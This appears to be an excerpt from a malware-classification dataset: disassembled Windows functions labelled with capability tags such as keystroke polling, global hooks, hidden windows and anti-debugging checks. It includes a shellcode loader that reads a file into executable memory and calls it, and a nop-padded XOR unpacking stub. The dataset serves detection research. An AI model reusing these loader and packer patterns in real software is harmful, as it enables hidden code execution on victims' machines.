joyce8/EMBER2024-capa huggingface dataset:
Function at 0x483558
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x483590]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x483571
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x483580
or bl, 4
test esi, 0x20000000
je 0x48358b
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x489c38
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x489c4a
add esp, 0xfffffff0
call fcn.00403e14
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00426a24
mov eax, dword [0x52c034]
mov dword [eax + 4], ebx
mov dword [eax], 0x489fdc
mov eax, dword [0x52c048]
mov dword [eax + 4], ebx
mov dword [eax], 0x489fe8
mov eax, ebx
call fcn.00489ff4
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x41b97c]
call fcn.00403a80
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x41b97c]
call fcn.00403a80
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x41b97c]
call fcn.00403a80
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x41b97c]
call fcn.00403a80
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x41b97c]
call fcn.00403a80
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x486410
push eax
push 0
push 0
mov eax, dword [0x52c34c]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x428b10]
call fcn.0042a284
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x428b10]
call fcn.0042a284
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x428b10]
call fcn.0042a284
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.0048a4ec
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x48a380
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x48a380
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x48a380
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x489d87
call fcn.00403e6c
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x48a164
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x48a30f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x48a2f0
mov dl, 1
mov eax, dword [0x41bfe0]
call fcn.00403a80
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00404920
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x48a2df
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00477adc
test al, al
je 0x48a2d2
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x48a320
lea eax, [ebp - 0x254]
call fcn.0040a380
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x48a2d2
xor eax, eax
push ebp
push 0x48a2cb
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x48a358
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x48a2b4
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404b90
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x48a2b4
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404b90
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48a2d2
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x48a1d5
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.00420990
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48a316
lea eax, [ebp - 0x260]
call fcn.00404920
ret

Function at 0x48ac8c
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x52dc14]
cmp byte [eax + 0xa5], 0
jne 0x48acfd
cmp dword [0x52dc2c], 0
jne 0x48acbe
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x48ac48
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x52dc2c], eax
cmp dword [0x52dc28], 0
jne 0x48acd9
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x52dc28], eax
cmp dword [0x52dc30], 0
jne 0x48acfd
push esp
push 0
push 0
push 0x48abec
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x52dc30], eax
pop edx
ret
Function at 0x48ae24
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x48ae3b
add esp, 0xfffffff0
call fcn.00403e14
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00426a24
mov eax, dword [0x52c324]
cmp word [eax + 2], 0
jne 0x48ae63
mov eax, dword [0x52c324]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0048c514
mov eax, dword [0x52c4c0]
cmp word [eax + 2], 0
jne 0x48ae7d
mov eax, dword [0x52c4c0]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0048c70c
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x41b97c]
call fcn.00403a80
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x41b97c]
call fcn.00403a80
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x4295f0]
call fcn.004311c4
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x48b004
mov eax, dword [0x52c114]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00431594
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x48ccbc
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x52c114]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040e478
test eax, eax
je 0x48af72
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00409d44
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040e4a0
test eax, eax
je 0x48af86
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00404b90
mov eax, dword [0x52be3c]
cmp byte [eax], 0
jne 0x48afba
mov eax, ebx
call fcn.0048b12c
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.0048ce98
mov eax, ebx
call fcn.0048d85c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x48affa
call fcn.00403e6c
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x48b3ac
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x52dc14]
cmp dword [eax + 0x30], 0
je 0x48b456
cmp dword [ebx + 0x94], 0
jne 0x48b450
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x48b33c
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x48b450
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x48b416
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x48b450
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0041e38c
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x48b425
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x48bfb8
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x48bfed
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404a10
jmp 0x48bffa
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404974
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x48d074
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x48d0b5
mov eax, esi
call fcn.00473004
test al, al
je 0x48d0b5
mov eax, dword [ebx + 0x84]
call fcn.00472d00
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x48d0b5
push 0
mov eax, dword [ebx + 0x84]
call fcn.00472d00
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x4b13bf
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor ebx, ebx
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push 0x52a32a
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x4b1417
movzx edx, word [ebp + 8]
mov dword [ebp - 8], edx
lea ecx, [ebp - 8]
push ecx
push dword [ebp + 0xc]
push 0
push 0
push 0x52a34b
push dword [ebp - 4]
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x4b140d
mov bx, 0x2a04
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey_1
jmp 0x4b141b
mov bx, 0x2a04
mov eax, ebx
pop ebx
pop ecx
pop ecx
pop ebp
ret 8

Function at 0x4e1934
Capabilities:
Check os version

Disassembly:
add esp, 0xffffff6c
mov dword [esp], 0x94
push esp
call sub.kernel32.dll_GetVersionExA
cmp dword [esp + 0x10], 2
jne 0x4e1959
cmp dword [esp + 4], 5
jb 0x4e1959
mov al, 1
jmp 0x4e195b
xor eax, eax
add esp, 0x94
ret
Function at 0x4f4d14
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x4f4d42
mov eax, ebx
call fcn.004f57c8
cmp dword [ebx + 0x40], 0
je 0x4f4d3b
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x4f4db3
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x4f4da5
cmp dword [ebx + 8], 0
je 0x4f4d64
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x4f4d76
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x4f4da5
cmp dword [ebx + 8], 0
je 0x4f4d57
cmp eax, 3
je 0x4f4d89
dec eax
jne 0x4f4d57
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x4f4d57
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x4f4d57
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x4f4dd1
cmp dword [ebx + 0x14], 0xcc
je 0x4f4dd1
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.004f4ddc
pop ebx
ret
Function at 0x505dac
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0x218], ecx
mov dword [ebp - 0x214], ecx
mov dword [ebp - 0x210], ecx
mov dword [ebp - 0x20c], ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x50600c
push dword fs:[eax]
mov dword fs:[eax], esp
cmp ebx, 1
jl 0x505e0f
lea edx, [ebp - 0x20c]
mov eax, dword [ebp - 4]
call fcn.00505874
mov eax, dword [ebp - 0x20c]
mov edx, ebx
call fcn.0040df20
cmp al, 1
jne 0x505e0f
dec ebx
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 4]
call fcn.00505b8c
test al, al
je 0x505f9b
cmp dword [ebp - 8], 0
jge 0x505e2d
xor eax, eax
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
inc ebx
lea edx, [ebp - 0x210]
mov eax, dword [ebp - 4]
call fcn.00505874
mov eax, dword [ebp - 0x210]
call fcn.00404be0
cmp ebx, eax
jge 0x505e77
lea edx, [ebp - 0x214]
mov eax, dword [ebp - 4]
call fcn.00505874
mov eax, dword [ebp - 0x214]
mov al, byte [eax + ebx - 1]
mov edx, dword [0x52c79c]
and eax, 0xff
bt dword [edx], eax
jae 0x505e77
inc ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x228]
cmp eax, dword [ebp - 8]
jg 0x505e8b
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
mov ecx, ebx
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.00505d88
cmp ebx, dword [ebp - 8]
je 0x505f8d
lea eax, [ebp - 0x108]
push eax
call sub.user32.dll_GetKeyboardState
mov edx, pe_nt_image_headers32
lea eax, [ebp - 0x208]
mov byte [eax], 0
inc eax
dec edx
jne 0x505eb7
mov byte [ebp - 0x1f8], 0x81
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.00403cac
and eax, 0x7f
movzx eax, word [eax*2 + 0x52b8dc]
mov byte [ebp + eax - 0x208], 0x81
lea eax, [ebp - 0x208]
push eax
call sub.user32.dll_SetKeyboardState
mov eax, dword [ebp - 4]
mov byte [eax + 0x23c], 1
xor eax, eax
push ebp
push 0x505f7a
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.00403cac
and eax, 0x7f
movzx eax, word [eax*2 + 0x52b8dc]
push eax
push pe_nt_image_headers32
mov eax, dword [ebp - 4]
call fcn.00472d00
push eax
call sub.user32.dll_SendMessageA
push 1
mov eax, dword [ebp - 4]
mov si, 0xffc8
call fcn.00403cac
and eax, 0x7f
movzx eax, word [eax*2 + 0x52b8dc]
push eax
push 0x101
mov eax, dword [ebp - 4]
call fcn.00472d00
push eax
call sub.user32.dll_SendMessageA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x505f81
mov eax, dword [ebp - 4]
mov byte [eax + 0x23c], 0
ret
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov dword [eax + 0x230], edx
jmp 0x505fee
cmp dword [ebp - 8], 0
jge 0x505fa6
xor eax, eax
mov dword [ebp - 8], eax
lea edx, [ebp - 0x218]
mov eax, dword [ebp - 4]
call fcn.00505874
mov eax, dword [ebp - 0x218]
call fcn.00404be0
cmp eax, dword [ebp - 8]
jg 0x505fe0
lea edx, [ebp - 0x21c]
mov eax, dword [ebp - 4]
call fcn.00505874
mov eax, dword [ebp - 0x21c]
call fcn.00404be0
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00505d88
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x506013
lea eax, [ebp - 0x21c]
mov edx, 5
call fcn.00404944
ret
Function at 0x5109fc
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb0
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x150], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x510aff
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.0040e248
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x150]
mov ecx, 0x510b14
mov edx, dword [ebp - 0xc]
call fcn.00404c2c
mov eax, dword [ebp - 0x150]
call fcn.00404de0
push eax
call sub.kernel32.dll_FindFirstFileA_1
mov ebx, eax
test ebx, ebx
je 0x510ad9
lea eax, [ebp - 8]
lea edx, [ebp - 0x120]
mov ecx, 0x104
call fcn.00404b90
lea eax, [ebp - 4]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
call fcn.00404c2c
mov eax, dword [ebp - 8]
mov edx, 0x510b20
call fcn.00404d2c
je 0x510abc
mov eax, dword [ebp - 8]
mov edx, 0x510b2c
call fcn.00404d2c
je 0x510abc
mov eax, dword [ebp - 0x14c]
and eax, 0x10
cmp eax, 0x10
je 0x510abc
mov edx, dword [ebp - 8]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea eax, [ebp - 0x14c]
push eax
push ebx
call sub.kernel32.dll_FindNextFileA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x510a65
push ebx
call sub.kernel32.dll_FindClose_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x510b06
lea eax, [ebp - 0x150]
call fcn.00404920
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404944
ret

Function at 0x510bfc
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
mov esi, eax
call sub.kernel32.dll_GetTickCount_1
mov ebx, eax
mov eax, dword [0x52c46c]
mov eax, dword [eax]
call fcn.0048c268
call sub.kernel32.dll_GetTickCount_1
sub eax, ebx
cmp esi, eax
jae 0x510c07
pop esi
pop ebx
ret

Function at 0x511fcc
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
mov bl, byte [0x512004]
push 0x10
call sub.user32.dll_GetAsyncKeyState
test ax, ax
jge 0x511fe2
or bl, 1
push 0x11
call sub.user32.dll_GetAsyncKeyState
test ax, ax
jge 0x511ff1
or bl, 4
push 0x12
call sub.user32.dll_GetAsyncKeyState
test ax, ax
jge 0x512000
or bl, 2
mov eax, ebx
pop ebx
ret

Function at 0x512898
Capabilities:
Hide graphical window

Disassembly:
push ebx
mov ebx, eax
mov eax, dword [ebx + 4]
mov edx, dword [0x4680e4]
call fcn.00403c3c
test al, al
je 0x5128da
mov eax, dword [0x52c46c]
mov eax, dword [eax]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x5128da
mov edx, dword [0x52c46c]
xor edx, edx
call fcn.004858f0
push 0
mov eax, dword [0x52c46c]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.user32.dll_ShowWindow
pop ebx
ret
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov word [0x10003036], ax
xor edi, edi
movzx ecx, word [eax + 0x10002034]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, di
jne 0x10001161
push 1
push edi
push edi
mov ebx, 0x10003030
push ebx
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, di
jne 0x10001191
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push ebx
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
push edi
cmp eax, 0xffffffff
jne 0x100011e4
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10

Function at 0x433006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..reloc
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x433072
mov ebx, 0x40de38
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x17941017
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x433060
nop
nop
nop
mov eax, section..rdata
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4330d2
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x3fa729b9
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x401102
Capabilities:
Terminate process

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x44
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x18], 0x18
mov eax, dword [ebp - 0x18]
mov eax, dword fs:[eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 0
jmp 0x40115e
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x14]
jne 0x40114d
mov dword [ebp - 0xc], 1
jmp 0x401188
mov dword [esp], 0x3e8
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], 0x4060b4
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], 0
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x20]
lock cmpxchg dword [edx], ecx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40113c
mov eax, dword [0x4060b8]
cmp eax, 1
jne 0x4011a0
mov dword [esp], 0x1f
call sym.__amsg_exit
jmp 0x4011d3
mov eax, dword [0x4060b8]
test eax, eax
jne 0x4011c9
mov dword [0x4060b8], 1
mov dword [esp + 4], 0x408014
mov dword [esp], 0x40800c
call sym.__initterm
jmp 0x4011d3
mov dword [0x40601c], 1
mov eax, dword [0x4060b8]
cmp eax, 1
jne 0x4011fb
mov dword [esp + 4], 0x408008
mov dword [esp], section..CRT
call sym.__initterm
mov dword [0x4060b8], 2
cmp dword [ebp - 0xc], 0
jne 0x401217
mov dword [ebp - 0x2c], 0x4060b4
mov dword [ebp - 0x30], 0
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
xchg dword [eax], edx
mov eax, dword [entry1]
test eax, eax
je 0x401241
mov eax, dword [entry1]
mov dword [esp + 8], 0
mov dword [esp + 4], 2
mov dword [esp], 0
call eax
sub esp, 0xc
call sym.__pei386_runtime_relocator
mov dword [esp], sym.__gnu_exception_handler_4
mov eax, dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call eax
sub esp, 4
mov dword [0x406074], eax
mov dword [esp], sym.___mingw_invalidParameterHandler
call sym.__set_invalid_parameter_handler
call sym.__fpreset
mov eax, dword [0x406004]
mov dword [esp + 4], 0x406008
mov dword [esp], eax
call sym._duplicate_ppstrings
call sym.___main
mov eax, dword [0x403028]
mov edx, dword [0x40600c]
mov dword [eax], edx
mov ecx, dword [0x40600c]
mov edx, dword [0x406008]
mov eax, dword [0x406004]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._main
mov dword [0x406014], eax
mov eax, dword [0x406018]
test eax, eax
jne 0x4012d0
mov eax, dword [0x406014]
mov dword [esp], eax
call sym._exit
mov eax, dword [0x40601c]
test eax, eax
jne 0x4012de
call sym.__cexit
mov eax, dword [0x406014]
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret